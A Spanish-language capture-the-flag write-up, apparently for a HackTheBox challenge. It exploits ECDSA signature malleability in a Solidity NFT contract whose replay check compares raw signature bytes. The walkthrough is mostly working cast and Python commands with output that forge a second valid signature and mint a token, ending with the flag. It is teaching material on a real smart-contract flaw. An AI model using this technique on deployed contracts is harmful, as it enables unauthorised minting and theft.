Confidentiality
5 minutos de lectura
Se nos proporciona un archivo de Solidity llamado AccessToken.sol
:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;
import {ERC721} from "./lib/ERC721.sol";
import {Owned} from "./lib/Owned.sol";
contract AccessToken is ERC721, Owned {
uint256 public currentSupply;
bytes[] public usedSignatures;
bytes32 public constant approvalHash = 0x4ed1c9f7e3813196653ad7c62857a519087860f86aff4bc7766c8af8756a72ba;
constructor(address _owner) Owned(_owner) ERC721("AccessToken", "ACT") {}
function safeMint(address to) public onlyOwner returns (uint256) {
return _safeMintInternal(to);
}
function safeMintWithSignature(bytes memory signature, address to) external returns (uint256) {
require(_verifySignature(signature), "Not approved");
require(!_isSignatureUsed(signature), "Signature already used");
usedSignatures.push(signature);
return _safeMintInternal(to);
}
function _verifySignature(bytes memory signature) internal view returns (bool) {
(uint8 v, bytes32 r, bytes32 s) = deconstructSignature(signature);
address signer = ecrecover(approvalHash, v, r, s);
return signer == owner;
}
function _isSignatureUsed(bytes memory _signature) internal view returns (bool) {
for (uint256 i = 0; i < usedSignatures.length; i++) {
if (keccak256(_signature) == keccak256(usedSignatures[i])) {
return true;
}
}
return false;
}
function _safeMintInternal(address to) internal returns (uint256) {
currentSupply += 1;
_safeMint(to, currentSupply);
return currentSupply;
}
// ##### Signature helper utilities
// utility function to deconstruct a signature returning (v, r, s)
function deconstructSignature(bytes memory signature) public pure returns (uint8, bytes32, bytes32) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
/// @solidity memory-safe-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return (v, r, s);
}
function constructSignature(uint8 v, bytes32 r, bytes32 s) public pure returns (bytes memory) {
return abi.encodePacked(r, s, v);
}
}
También tenemos otro archivo llamado Setup.sol
:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;
import {AccessToken} from "./AccessToken.sol";
contract Setup {
AccessToken public immutable TARGET;
constructor(address _owner, bytes memory signature) {
TARGET = new AccessToken(_owner);
// Secure 1 AccessToken for myself
TARGET.safeMintWithSignature(signature, address(this));
}
function isSolved(address _player) public view returns (bool) {
return TARGET.balanceOf(_player) > 0;
}
}
Hay dos archivos más que contienen funcionalidades de terceros que se supone que son seguras. Tienen que ver con tokens no fungibles (NFT) y ERC-721.
También hay una instancia remota en la que obtendremos los parámetros de conexión a la Blockchain:
$ nc 206.189.28.151 30704
1 - Connection information
2 - Restart Instance
3 - Get flag
action? 1
Private key : 0xbd69a78cb850a75ab437a33d01cac4b3dfb6d8751349529e68fd4e668fbe2e94
Address : 0x25a115E5C0d5908C90c5672Eb5aAf9846660D82e
Target contract : 0xFD92614FB1DC9568857227e22e8DcCCdBaDEa999
Setup contract : 0xE1F1Eb50176b1665A23e1799D4D1dB2DdADf39eC
Configuración del entorno
En primer lugar, guardamos los parámetros de conexión como variables de shell:
$ PRIVATE_KEY='0xbd69a78cb850a75ab437a33d01cac4b3dfb6d8751349529e68fd4e668fbe2e94'
$ ADDRESS='0x25a115E5C0d5908C90c5672Eb5aAf9846660D82e'
$ ADDRESS_TARGET='0xFD92614FB1DC9568857227e22e8DcCCdBaDEa999'
$ ADDRESS_SETUP='0xE1F1Eb50176b1665A23e1799D4D1dB2DdADf39eC'
$ export ETH_RPC_URL='http://206.189.28.151:31978'
Análisis del código fuente
El propósito de este reto es firmar un nuevo AccessToken
para nosotros. En el archivo Setup.sol
, vemos que isSolved
devuelve true
cuando TARGET.balanceOf(_player) > 0
. La dirección TARGET
es una instancia de AccessToken
.
Solo podemos interactuar con algunas funciones de TARGET
. Por ejemplo, no podemos llamar a safeMint
porque hay un modificador onlyOwner
(en Owned.sol
), que solo permite llamar a esta función desde la dirección owner
:
$ cast call $ADDRESS_TARGET 'owner() (address)'
0x87Ca2B18a1C9D8a3648cc86c40897e3c1387e0c7
$ echo $ADDRESS
0x25a115E5C0d5908C90c5672Eb5aAf9846660D82e
Entonces, solo podemos interactuar con safeMintWithSignature
, deconstructSignature
y constructSignature
. Obsérvese que podemos encontrar la firma generada por el Smart Contract Setup
al inicio:
$ cast call $ADDRESS_TARGET 'usedSignatures(uint) (bytes)' 0
0xeefb4d6e5433e93780d9a7dcef2333e274102b8b98cbedadcbe6ac102d7181885aac7e45023811280901066c46149009feb728e1cdaa9351b746682f7172dc5c1b
El fallo de seguridad
No podremos crear una nueva firma porque nos falta la clave privada. Es bien sabido que en Ethereum, el algoritmo de firma es ECDSA con la curva secp256k1. Este algoritmo de firma funciona con una curva elíptica de la siguiente manera:
Para firmar un mensaje $m$, se utiliza un punto generador $G$ y una función hash $H$. Entonces, el programa calcula:
$$ h = H{(m)} $$
$$ r = (k \cdot G)_\mathrm{x} $$
$$ s = k^{-1} \cdot \left(h + x \cdot r\right) \mod{n} $$
Donde $n$ es el orden de la curva, $x$ es la clave privada y $k$ es un valor nonce aleatorio cuidadosamente elegido. La salida de la firma es la tupla $(r, s)$.
En Ethereum, es común agregar otro valor $v$ que indique una de las dos firmas posibles. Por lo general, hay dos valores posibles para $v$, que son $27$ (0x1b
) o $28$ (0x1c
). Esto sucede porque, en una curva elíptica, hay dos puntos posibles con la misma coordenada $\mathrm{x}$, dando como resultado dos firmas válidas para el mismo mensaje y clave privada.
Como resultado, al tener una firma $(v, r, s)$, podemos encontrar otra firma válida $(v’, r, s’)$ para el mismo mensaje y la misma clave privada, donde $v’$ es el otro valor posible (0x1b
o 0x1c
) y $s’ = n - s$. Esto se denomina maleabilidad de la firma.
Una vez que tengamos esta firma válida alternativa, podemos llamar a safeMintWithSignature
y obtener un AccessToken
para nuestra dirección. Por lo tanto, tendremos algún saldo en nuestra cuenta y resolveremos el reto.
Implementación
Vamos a tomar la firma nuevamente y analizarla con deconstructSignature
:
$ cast call $ADDRESS_SETUP 'isSolved(address) (bool)' $ADDRESS
false
$ cast call $ADDRESS_TARGET 'usedSignatures(uint) (bytes)' 0
0xeefb4d6e5433e93780d9a7dcef2333e274102b8b98cbedadcbe6ac102d7181885aac7e45023811280901066c46149009feb728e1cdaa9351b746682f7172dc5c1b
$ cast call $ADDRESS_TARGET 'deconstructSignature(bytes memory) (uint8, bytes32, bytes32)' 0xeefb4d6e5433e93780d9a7dcef2333e274102b8b98cbedadcbe6ac102d7181885aac7e45023811280901066c46149009feb728e1cdaa9351b746682f7172dc5c1b
27
0xeefb4d6e5433e93780d9a7dcef2333e274102b8b98cbedadcbe6ac102d718188
0x5aac7e45023811280901066c46149009feb728e1cdaa9351b746682f7172dc5c
Ahora, calculamos la firma alternativa:
$ python3 -q
>>> from ecdsa import SECP256k1
>>> n = SECP256k1.order
>>> s = 0x5aac7e45023811280901066c46149009feb728e1cdaa9351b746682f7172dc5c
>>> hex(n - s)
'0xa55381bafdc7eed7f6fef993b9eb6ff4bbf7b404e19e0cea088bf65d5ec364e5'
En este punto, podemos construir la nueva firma con constructSignature
:
$ cast call $ADDRESS_SETUP 'isSolved(address) (bool)' $ADDRESS
false
$ cast call $ADDRESS_TARGET 'usedSignatures(uint) (bytes)' 0
0xeefb4d6e5433e93780d9a7dcef2333e274102b8b98cbedadcbe6ac102d7181885aac7e45023811280901066c46149009feb728e1cdaa9351b746682f7172dc5c1b
$ cast call $ADDRESS_TARGET 'constructSignature(uint8, bytes32, bytes32) (bytes memory)' 28 0xeefb4d6e5433e93780d9a7dcef2333e274102b8b98cbedadcbe6ac102d718188 0xa55381bafdc7eed7f6fef993b9eb6ff4bbf7b404e19e0cea088bf65d5ec364e5
0xeefb4d6e5433e93780d9a7dcef2333e274102b8b98cbedadcbe6ac102d718188a55381bafdc7eed7f6fef993b9eb6ff4bbf7b404e19e0cea088bf65d5ec364e51c
Finalmente, llamamos a safeMintWithSignature
:
$ cast send $ADDRESS_TARGET 'safeMintWithSignature(bytes memory, address)' 0xeefb4d6e5433e93780d9a7dcef2333e274102b8b98cbedadcbe6ac102d718188a55381bafdc7eed7f6fef993b9eb6ff4bbf7b404e19e0cea088bf65d5ec364e51c $ADDRESS --private-key $PRIVATE_KEY
blockHash 0x2a1437d6eeb919148968b76e0f8adea79b06e7ef49c04ba6dadd78a577bfbf51
blockNumber 2
contractAddress
cumulativeGasUsed 185202
effectiveGasPrice 3000000000
gasUsed 185202
logs [{"address":"0xfd92614fb1dc9568857227e22e8dcccdbadea999","topics":["0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","0x0000000000000000000000000000000000000000000000000000000000000000","0x00000000000000000000000025a115e5c0d5908c90c5672eb5aaf9846660d82e","0x0000000000000000000000000000000000000000000000000000000000000002"],"data":"0x","blockHash":"0x2a1437d6eeb919148968b76e0f8adea79b06e7ef49c04ba6dadd78a577bfbf51","blockNumber":"0x2","transactionHash":"0x2672eec0bb2948ee36e363e8973bd0e1b6d1584d000019a0fb86ddb4986b087e","transactionIndex":"0x0","logIndex":"0x0","transactionLogIndex":"0x0","removed":false}]
logsBloom 0x04000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000001000000000000000000000000000000020000000000000000000800000000000000008000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000002000000000000000008000000000000000000000000000000000020000000000000000000000000000100000000000000008000000000000200000000
root
status 1
transactionHash 0x2672eec0bb2948ee36e363e8973bd0e1b6d1584d000019a0fb86ddb4986b087e
transactionIndex 0
type 2
Flag
Y ahora el reto está resuelto:
$ cast call $ADDRESS_SETUP 'isSolved(address) (bool)' $ADDRESS
true
$ nc 206.189.28.151 30704
1 - Connection information
2 - Restart Instance
3 - Get flag
action? 3
HTB{519n47u23_m4113481117y_91v35_4u7h021235_4cc3551}